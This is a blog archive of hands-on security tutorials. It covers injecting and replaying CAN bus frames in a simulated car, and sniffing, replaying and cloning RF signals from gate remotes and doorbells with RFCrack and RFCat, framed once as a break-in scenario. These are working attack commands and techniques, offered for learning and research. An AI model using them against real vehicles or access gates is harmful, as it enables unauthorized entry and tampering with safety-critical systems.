Saturday, April 21, 2018

Hacking All the Cars - Part 1

A step by step lab based mini course on analyzing your car network

I wanted to learn about hacking cars. As usual I searched around the internet and didn’t find any comprehensive resources on how to do this, just bits and pieces of the same info over and over which is frustrating. I am not a car hacking expert, I just like to hack stuff. This mini course will run in a fully simulated lab environment available from open garages, which means in 5 minutes from now you can follow along and hack cars without ever bricking your girlfriends car. Since you obviously wouldn’t attack your own Lambo, totally use your girlfriends Prius. 

Below are the topics covered in this blog  series so you can decide if you want to read further: 

Whats covered in this car hacking mini course: 

Setting up Virtual Environments for testing
Sniffing CAN Traffic
Parsing CAN Traffic
Reverse Engineering CAN IDs 
Denial of service attacks
Replaying/Injecting Traffic
Coding your own CAN Socket Tools in python
Targeted attacks against your cars components
Transitioning this to attacking a real car with hardware

The first thing we are going to do before we get into any car hacking specifics such as “WTF is CAN?”, is get your lab up and running. We are going to run a simple simulated CAN Bus network which controls various features of your simulated car. Its better to learn by doing then sit here and recite a bunch of car network lingo at you and hope you remember it.  

I also don’t want you to buy a bunch of hardware and jack into your real car right away. Instead there are options that can get you started hacking cars RIGHT NOW by following along with this tutorial. This will also serve to take away the fear of hacking your actual car by understanding what your doing first. 

Video Playlist: 

Setting up your Lab: 

First things first, set yourself up with an Ubuntu VMware install, and load it up. Optionally you could use a Kali Iinux VM, however, that thing drives me nuts with copy paste issues and I think Kayak was giving me install problems. So support is on you if you would like to use Kali. However, I do know Kali will work fine with OpenGarages virtual car.. So feel free to use it for that if you have it handy and want to get started right away. 

Install PreReq Libraries: 

Once you load this up you are going to want to install CAN utilities and pre-requisite libraries. This is really easy to do with the following Apt-get commands:
sudo apt-get update
sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils  

Then we are going to pull down the ICSimulator repo: 

Starting the simulator: 

Once this is done we can startup the simulator by changing directories to the downloaded repo and running the following 2 commands, which will setup a virtual CAN interface and a simulator GUI Cluster: 

Run the setup Script to get the vcan0 interface up: 
root@kali:~/ICSim# ./ 
root@kali:~/ICSim# ./icsim vcan0

On a new terminal tab we will open up our simulators controller with the following command,
root@kali:~/ICSim#./controls vcan0

Note: that the controller must be the in-focus GUI screen to send keyboard commands to the simulator. 

How to Use the Simulator: 

The simulator has a speedometer with Right and Left turn signals, doors etc.  Below are the list of commands to control the simulator when the Control panel is in focus. Give them each a try and note the changes to the simulator. 
Up and Down keys control the gauges clusters speedometer
Left and Right keys Control the Blinkers
Right Shift + X, A or B open doors 
Left Shift + X, A or be Close doors

Try a few of the above commands for example Right Shift +X and you will see the interface change like so, notice the open door graphic: 

Awesome, thanks to OpenGarages you now you have your very own car to hack

Notice in the setup commands above we used a VCan0 interface. Run Ifconfig and you will now see that you indeed have a new network interface that speaks to the CAN network over VCan0. 

ficti0n@ubuntu:~/Desktop/ICSim$ ifconfig vcan0
vcan0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
          UP RUNNING NOARP  MTU:16  Metric:1
          RX packets:558904 errors:0 dropped:0 overruns:0 frame:0
          TX packets:558904 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:3663935 (3.6 MB)  TX bytes:3663935 (3.6 MB)

Car networks run on a variety of protocols most prevalent being CAN. You can think of a CAN Bus like an old school networking hub where everyone can see everyone elses traffic. This is true to some extent although you may not see all of the cars traffic if its not connected to that particular bus your plugged into. You can think of CAN traffic kind of like UDP in that its send and forget, the main difference being parts of the CAN bus network don't actually have addresses and everything runs off arbitration IDs and priorities. Thats enough background to get you doing rather then reading.

With a little knowledge out of the way lets check if we can see our CAN traffic from our virtual car via the CanDump utility, which you installed as part of CanUtils package above. Using the following command on the vcan0 interface our simulator uses you can view a stream of traffic: 

ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0

Above we can see a bunch of CAN frames, and if we perform actions on the vehicle we will see changes to data values in the CanDump output.  However this may happen very fast, and we may not be able to see if for example we unlocked our simulators door. This is because things are changing constantly in the cars IDLE state. One single value changing may not stand out enough for us to take notice or may scroll so fast we cant see it. 

Capture and Replay CAN Actions: 

One option would be to perform an action and replay it, we should see the actions happen again in the replay if the traffic for the action we recorded is on the same bus network our device is plugged into. There are loads of networks within a car and its not guaranteed our network tap for example an OBD2 port plugin is connected to the same network as door we opened.  Or the door may not be connected to the network at all depending on your car and its age or how its configured. 

Replaying dumps with CanPlayer: 
Another useful tool included with CanUtils package is CanPlayer for replaying traffic. If the functionality we are trying to capture is on the same Bus as the adaptor plugged into the car, or in this case our Virtual CAN interface, we can use CanDump to save traffic to a file. We then use CanPlayer to replay the traffic on the network. For example lets run CanDump and open a door and then replay the functionality with CanPlayer. 

Lab 1 Steps: 

  1. Run CanDump
  2. Right Shift + X to open a door
  3. Cancel CanDump (ctrl+c)
  4. Left Shift + X to close the door
  5. Run can player with the saved dump and it will replay the traffic and open the door

Recording the door opening:  (-l for logging) 
ficti0n@ubuntu:~/Desktop/ICSim$ candump -l vcan0

Replaying the CanDump file:  (use the file your can dump created) 
ficti0n@ubuntu:~/Desktop/ICSim$ canplayer -I candump-2018-04-06_154441.log 

Nice, so if all went well you should see that your door is now open again. If this did not happen when attacking a real car, just try to replay it again. CAN networks are not like TCP/IP, they are more like UDP in that you send out your request and its not expecting a response. So if it gets lost then it gets lost and you have to resend. Perhaps something with higher priority on the network was sending at the time of your replay and your traffic was overshadowed by it.   

Interacting with the Can Bus and Reversing Traffic: 

So thats cool, but what about actually understanding what is going on with this traffic, CanDump is not very useful for this, is scrolls by to quickly for us to learn much from.  Instead we can use CanSniffer with colorized output to show us the bytes within packets that change. Below is an example of CanSniffer Traffic: 

To startup can sniffer run the following: 
ficti0n@ubuntu:~/Desktop/ICSim$ cansniffer -c vcan0

You will see 3 fields, Time, ID  and Data. Its pretty easy to figure out what these are based on thier name. The most important part for our usage in this blog are the ID and the Data fields.  

The ID field is the frame ID which is loosely associated with the device on the network which is effected by the frame being sent. The ID to also determines the priority of the frame on the network.  The lower the number of the CAN-ID the higher priority it has on the network and more likely it will be handled first.  The data field is the data being sent to change some parameter like unlocking a door or updating output. You will notice that some of the bytes are highlighted RED. The values in red are the values that are changing during the idle state you are currently in. 

Determine which ID and Byte controls the throttle: 

So with the terminal sniffing window open put the simulator and the controller into the foreground, with the controller being the window you have clicked and selected.  Pay attention to the CanSniffer output while hitting the UP ARROW and look for a value that was white but is now Red and increasing in value as the throttle goes up.  This might take you a few minutes of paying attention to whats going on to see. 

The following 2 pictures show ID 244 in the IDLE state followed by pressing the up button to increase the speed. You will notice a byte has turned red and is increasing in value through a range of HEX values 0-F. It will continue to enumerate through values till it reaches its max speed. 

The byte in ID 244 which is changing is the value while the throttle is engaged, so 244 associated in some way with the increasing speed.   The throttle speed is a good value to start with as it keeps increasing its value when pressed making it easier to spot while viewing the CanSniffer output.  

Singling out Values with Filters: 

If you would like to single out the throttle value then click the terminal window and press -000000 followed by the Enter key which will clear out all of the values scrolling. Then press +244 followed by the Enter key which will add back the throttle ID. You can now click the controller again and increase the speed with your Up arrow button without all the noise clouding your view.  You will instead as shown below only have ID 244 in your output: 

To get back all of the IDs again click the terminal window and input +000000 followed by the Enter key.   Now you should see all of the output as before.  Essentially 000000 means include everything. But when you put a minus in front of it then it negates everything and clears your terminal window filtering out all values. 

Determine Blinker ID: 

Now lets figure out another ID for the blinkers. If you hit the left or right arrow with the controls window selected you will notice a whole new ID appears in the list, ID 188 shown in the picture below which is associated with the blinker. 

This ID was not listed before as it was not in use within the data output until you pressed the blinker control.  Lets single this value out by pressing -000000 followed by +188.  Just like in the throttle example your terminal should only show ID 188, initially it will show with 00 byte values. 

 As you press the left and the right blinker you will see the first Byte change from 00 to 01 or 02. If neither is pressed as in the screenshot above it will be 00. Its kind of hard to have the controller in focus and get a screenshot at the same time but the ID will remain visible as 00 until it times out and disappears from the list when not active. However with it filtered out as above you can get a better view of things and it wont disappear.  

Time for YOU to do some Protocol Reversing:

This lab will give you a good idea how to reverse all of the functionality of the car and associate each action with the proper ID and BYTE. This way you can create a map of intended functionality changes you wish to make.  Above we have done a few walk throughs with you on how to determine which byte and ID is associated with an action. Now its time to map everything out yourself with all the remaining functionality before moving on to attacking individual components.  

Lab Work Suggestion: 

  1. Take out a piece of paper and a pencil
  2. Try unlocking and locking doors and write down the ID which controls this action (remember your filters)
  3. Try unlocking each door and write down the BYTES needed for each door to open
  4. Try locking each doors and what Bytes change and what are their values, write them down
  5. Do the same thing for the blinkers left and right (Might be different then what I did above) 
  6. What ID is the speedometer using?  What byte changes the speed? 

Attacking Functionality Directly: 

With all of the functionality mapped out we can now try to target various devices in the network directly without interacting with the controllers GUI. Maybe we broke into the car via cellular OnStar connection  or the center console units BLE connection which was connected to the CAN network in some way.  
After an exploit we have direct access to the CAN network and we would like to perform actions. Or maybe you have installed a wireless device into an OBD2 port under the dashboard you have remote access to the automobile. 

Using the data from the CAN network reversing lab above we can call these actions directly with the proper CAN-ID and Byte.  Since we are remote to the target we can’t just reach over and grab the steering wheel or hit the throttle we will instead send your CAN frame to make the change.
One way we can do this is via the CanSend utility. Lets take our information from our lab above and make the left turn signal flash with the following ID 188 for the turn signal by changing the first byte to 01 indicating the left signal is pressed. CanSend uses the format ID#Data. You will see this below when sending the turn signal via CanSend. 

ficti0n@ubuntu:~/Desktop/ICSim$ cansend vcan0 188#01000000 

You should have noticed that the left signal flashed. If not pay more attention and give it another try or make sure you used the correct ID and changed the correct byte.  So lets do the same thing with the throttle and try to set the speed to something with ID 244 that we determined was the throttle. 

ficti0n@ubuntu:~/Desktop/ICSim$ cansend vcan0 244#00000011F6 

My guess is that nothing happened because its so fast the needle is not going to jump to that value. So instead lets try repeating this over and over again with a bash loop which simply says that while True keep sending the throttle value of 11 which equates to about 30mph: 

ficti0n@ubuntu:~/Desktop/ICSim$ while true; do cansend vcan0 244#00000011F6;  done

Yes thats much better, you may notice the needle jumping back and forth a bit. The reason the needle is bouncing back and forth is because the normal CAN traffic is sent telling the car its actually set to 00 in between your frames saying its 30mph.  But it worked and you have now changed the speed the car sees and you have flashed the blinker without using the cars normal blinker controls. Pretty cool right? 

Monitor the CAN Bus and react to it: 

Another way to handle this issue is to monitor the CAN network and when it sees an ID sent it will automatically send the corresponding ID with a different value.. Lets give that a try to modify our speed output by monitoring for changes. Below we are simply running CanDump and parsing for ID 244 in the log output which is the throttle value that tells the car the speed. When a device in the car reports ID 244 and its value we will immediately resend our own value saying the speed is 30mph with the value 11.  See below command and try this out. 

ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0 | grep " 244 " | while read line; do cansend vcan0 244#00000011F6; done

With this running after a few seconds you will see the speed adjust to around 30MPH once it captures a legitimate CAN-ID 244 from the network traffic and sends its own value right after.  

Ok cool, so now while the above command is still running click the controller window and start holding down the Up arrow with the controller in focus.. After a few seconds or so when the speed gets above 30MPH you will see the needle fighting for the real higher value and adjusting back to 30MPH as your command keeps sending its on value as a replacement to the real speed. 

So thats one way of monitoring the network and reacting to what you see in a very crude manner.  Maybe someone stole your car and you want to monitor for an open door and if they try to open the door it immediately locks them in. 

Conclusion and whats next: 

I am not an expert car hacker but I hope you enjoyed this. Thats about as far as I want to go into this subject today, in the next blog we will get into how to code python to perform actions on the CAN network to manipulate things in a similar way.  With your own code you are not limited to the functionality of the tools you are provided and can do whatever you want. This is much more powerful then just using the CanUtils pre defined tools. Later on I will also get into the hardware side of things if you would like to try this on a real car where things are more complicated and things can go wrong. 

Sunday, January 28, 2018

Hacking Everything with RF and Software Defined Radio - Part 3

Reversing Device Signals with RFCrack for Red Teaming

This blog was researched and automated by:
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Console Cowboys: 
CC Labs:

CC Labs Github for RFCrack Code:

Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker:
YardStick One:


Walkthrough Video: 

Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don’t want to look suspicious. 


Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 

RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

Currently Scanning: 433000000 To cancel hit enter and wait a few seconds

Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
A signal was found on :390000000

Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don’t have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 

Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data

From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don’t have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 

Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don’t matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)

Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don’t care about those signals since they don’t pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn’t work so well. This is fine since we don’t care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

Graph Comparison Output for 97% Match: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki. 

Sunday, November 26, 2017

RFCrack Release - A software Defined Radio Attack Tool

RFCrack uses the following hardware with RFCat libraries:
YardStick One:

I decided to cleanup my RF testing harness and release it as a tool named RFCrack
Mostly because it has been pain to set up use-case scenarios from scratch for every device I am testing. Rather then release a tool no one knows how to use. The below video will be a quick but comprehensive tutorial to get you started If you’ve been following the blogs, this will greatly simplify your testing, in the following ways:
  • RFCrack handles all of your data conversions. 
  • It allows you to capture, replay and save payloads for use anytime 
  • It will handle rolling code bypass attacks on your devices. 
  • You can jam frequencies and fuzz specific values 
  • It will also allow you to scan specific frequencies in discovery mode or incrementally probe them 
  • RFCrack will hopefully have keyless entry & engine bypass support in the near future

This is the first release, everything works as intended but there will be plenty of updates as I continue to do research and find reasons to add features needed for testing. I am still making changes and making it more flexible with modifiable values and restructuring code.  If you have any legitimate use case scenarios or need a specific value to be modifiable, hit me up and I will do my best to update between research, if its a legitimate use case.

You can reach me at:
Twitter: @Ficti0n ,

GitHub Code for RFCrack:

Full RF Hacking Course in Development:

Not all of the attacks in the tool have been covered in the RF hacking blog series and a few more are in research mode, as such, not yet added to the tool but will probably be covered in a full length online class on Hacking with RF which includes all targets and equipment.  Send an email to info(at) if your interested.

Walkthrough Training Video:

Until Next time: 

Cheers, and enjoy the tool for your personal use testing devices, feedback and bug reports are appreciated.  I have another RF blog coming out shortly based on my friends research into hacking garages/gates and creating keyfobs.  I will post when its ready. 

Tuesday, October 24, 2017

Hacking Everything with RF and Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 

I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
If your really bored and want to follow me:
Twitter: @Ficti0n
Site: or

Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)

YardStick One: (from the last blog)

So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 
This blog will be your RFCAT primer and coding tutorial, but don’t be scared with the word “Programming” I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 

Video Series PlayList Associated with this blog:

The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn’t feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython

Plug in your adapter and type in the following: 
rfcat -r 

You will then see the below output of RFCat Specan running in the 315 MHz range. 
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  

So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 

Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of “lowball” which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r

>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...  packets arriving will be displayed on the screen
(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................

If you hit “ENTER” in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 
New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000
Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()

print "Starting"
print 'Transmission Complete'

TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 
  • When using a telescopic antenna closed I had almost repeating output with some random bits flipped
  • When extending the antenna it went crazy output with random noise
  • I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 
  • Verify the frequency with RFCat
  • How can I listen for it and capture a transmission with RFCat
  • How can I send this transmission with RFCat

We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
  File "", line 1, in
  File "/Library/Python/2.7/site-packages/rflib/", line 1376, in RFrecv
    data = self.recv(APP_NIC, NIC_RECV, timeout)
  File "/Library/Python/2.7/site-packages/rflib/", line 664, in recv
ChipconUsbTimeoutException: Timeout waiting for USB response.

OK thats not cool we are getting a weird error if we don’t get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass

That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
while True:
...     try:
...             d.RFrecv()
...     except ChipconUsbTimeoutException:
...             pass

Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 
Line 14: After that we just print it out. 

When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable “capture”  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  

Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 
  • We need to parse out the data from the surrounding 0s
  • We need to convert it to a format we can send (tricker then it sounds) 
  • We need to add padding and send that data over (We know how to do this already) 

Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output

Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won’t actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

for payload in payloads: 
    formatted = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted: " + payload 
        iterator = iter(payload)
        for i in iterator:
            formatted += ('\\x'+i + next(iterator))

Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 
Below is the output of the following:
  • Your encoded capture
